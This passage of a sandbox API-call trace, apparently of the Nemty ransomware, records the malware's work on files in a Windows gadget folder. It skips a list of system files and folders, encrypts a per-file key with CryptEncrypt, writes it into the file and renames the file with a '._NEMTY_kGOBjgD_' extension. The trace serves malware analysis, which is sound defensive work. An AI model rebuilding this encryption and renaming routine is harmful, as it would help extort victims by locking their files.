0x4f9ece0 [0121.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0121.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0121.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0121.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0121.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0121.037] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\spacer_highlights.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\spacer_highlights.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\spacer_highlights.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\spacer_highlights.png._nemty_kgobjgd_")) returned 0 [0121.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0121.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0121.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0121.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0121.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0121.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0121.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0121.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0121.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0121.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.037] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b36328, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b36328, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28bc5879, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4eac, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="square.png", cAlternateFileName="")) returned 1 [0121.037] lstrcmpiW (lpString1="square.png", lpString2=".") returned 1 [0121.037] lstrcmpiW (lpString1="square.png", lpString2="..") returned 1 [0121.037] lstrcmpiW (lpString1="square.png", lpString2="...") returned 1 [0121.038] lstrcmpiW (lpString1="square.png", lpString2="windows") returned -1 [0121.038] lstrcmpiW (lpString1="square.png", lpString2="$RECYCLE.BIN") returned 1 [0121.038] lstrcmpiW (lpString1="square.png", lpString2="rsa") returned 1 [0121.038] lstrcmpiW (lpString1="square.png", lpString2="NTDETECT.COM") returned 1 [0121.038] lstrcmpiW (lpString1="square.png", lpString2="ntldr") returned 1 [0121.038] lstrcmpiW (lpString1="square.png", lpString2="MSDOS.SYS") returned 1 [0121.038] lstrcmpiW (lpString1="square.png", lpString2="IO.SYS") returned 1 [0121.038] lstrcmpiW (lpString1="square.png", lpString2="boot.ini") returned 1 [0121.038] lstrcmpiW (lpString1="square.png", lpString2="boot.ini") returned 1 [0121.038] lstrcmpiW (lpString1="square.png", lpString2="AUTOEXEC.BAT") returned 1 [0121.038] lstrcmpiW (lpString1="square.png", lpString2="ntuser.dat") returned 1 [0121.038] lstrcmpiW (lpString1="square.png", lpString2="desktop.ini") returned 1 [0121.038] lstrcmpiW (lpString1="square.png", lpString2="CONFIG.SYS") returned 1 [0121.038] lstrcmpiW (lpString1="square.png", lpString2="RECYCLER") returned 1 [0121.038] lstrcmpiW (lpString1="square.png", lpString2="BOOTSECT.BAK") returned 1 [0121.038] lstrcmpiW (lpString1="square.png", lpString2="bootmgr") returned 1 [0121.038] lstrcmpiW (lpString1="square.png", lpString2="programdata") returned 1 [0121.038] lstrcmpiW (lpString1="square.png", lpString2="appdata") returned 1 [0121.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0121.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square.png", lpUsedDefaultChar=0x0) returned 10 [0121.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0121.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0121.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square.png", lpUsedDefaultChar=0x0) returned 10 [0121.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0121.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0121.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square.png", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square.png", lpUsedDefaultChar=0x0) returned 10 [0121.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0121.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square.png", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square.png", lpUsedDefaultChar=0x0) returned 10 [0121.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0121.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0121.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0121.039] Sleep (dwMilliseconds=0x5) [0121.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfbccf2b0, dwHighDateTime=0x1d561e7)) [0121.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfbccf2b0, dwHighDateTime=0x1d561e7)) [0121.054] GetLastError () returned 0x5 [0121.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0121.054] GetLastError () returned 0x5 [0121.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0121.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0121.054] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0121.054] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0121.054] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0121.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0121.054] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="NdV160n5RnLNVwdPSxSRmiug5r/COG0EbVhLHkmK2/q2s3W9slueiaga2ykeCqxX\r\n4nibg0aIjWXTR0/4TXIJevUOj4StdZH19w2MW7GBjC4pGpmiOyRnBgdUD0Y7CasF\r\nOx0S3v93fmsYIE+mPCq62OW8MtAx4+mbFtvqQAhPO5Gl/0uhg6JD3ylynuffjudw\r\n5smnse6K/tbUnnSBp4aea6rfDTk6L72OrbTPWz7CHAnwx1ajCoIyVxQ9uo5F8lVj\r\nMcMfXm8U80mGlE+HpALNiyDeRz+htFEzQ8sNzdOwzKQSMhEZqRWjqltHQ1t63ULZ\r\nYWoD7XY5oKDLvi4zBl9Gag==\r\n", pcchString=0x653e91c) returned 1 [0121.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0121.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0121.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0121.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0121.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0121.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0121.054] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.055] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0121.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0121.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.055] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.064] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.064] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.073] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.073] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.073] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.073] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.083] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.083] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.083] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.083] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.092] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.092] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.101] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.101] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.111] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.111] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.120] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.120] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.130] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.130] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.139] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.139] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.149] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.149] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.156] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.162] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.162] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0121.162] CloseHandle (hObject=0xffffffff) returned 0 [0121.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0121.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0121.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0121.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0121.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0121.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0121.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340350 [0121.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403f8 [0121.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0121.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0121.163] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square.png._nemty_kgobjgd_")) returned 0 [0121.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f8 | out: hHeap=0x4f90000) returned 1 [0121.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0121.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0121.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0121.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0121.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0121.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0121.164] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b825e2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b825e2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28beb9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="square_dot.png", cAlternateFileName="")) returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2=".") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="..") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="...") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="windows") returned -1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="$RECYCLE.BIN") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="rsa") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="NTDETECT.COM") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="ntldr") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="MSDOS.SYS") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="IO.SYS") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="boot.ini") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="boot.ini") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="AUTOEXEC.BAT") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", 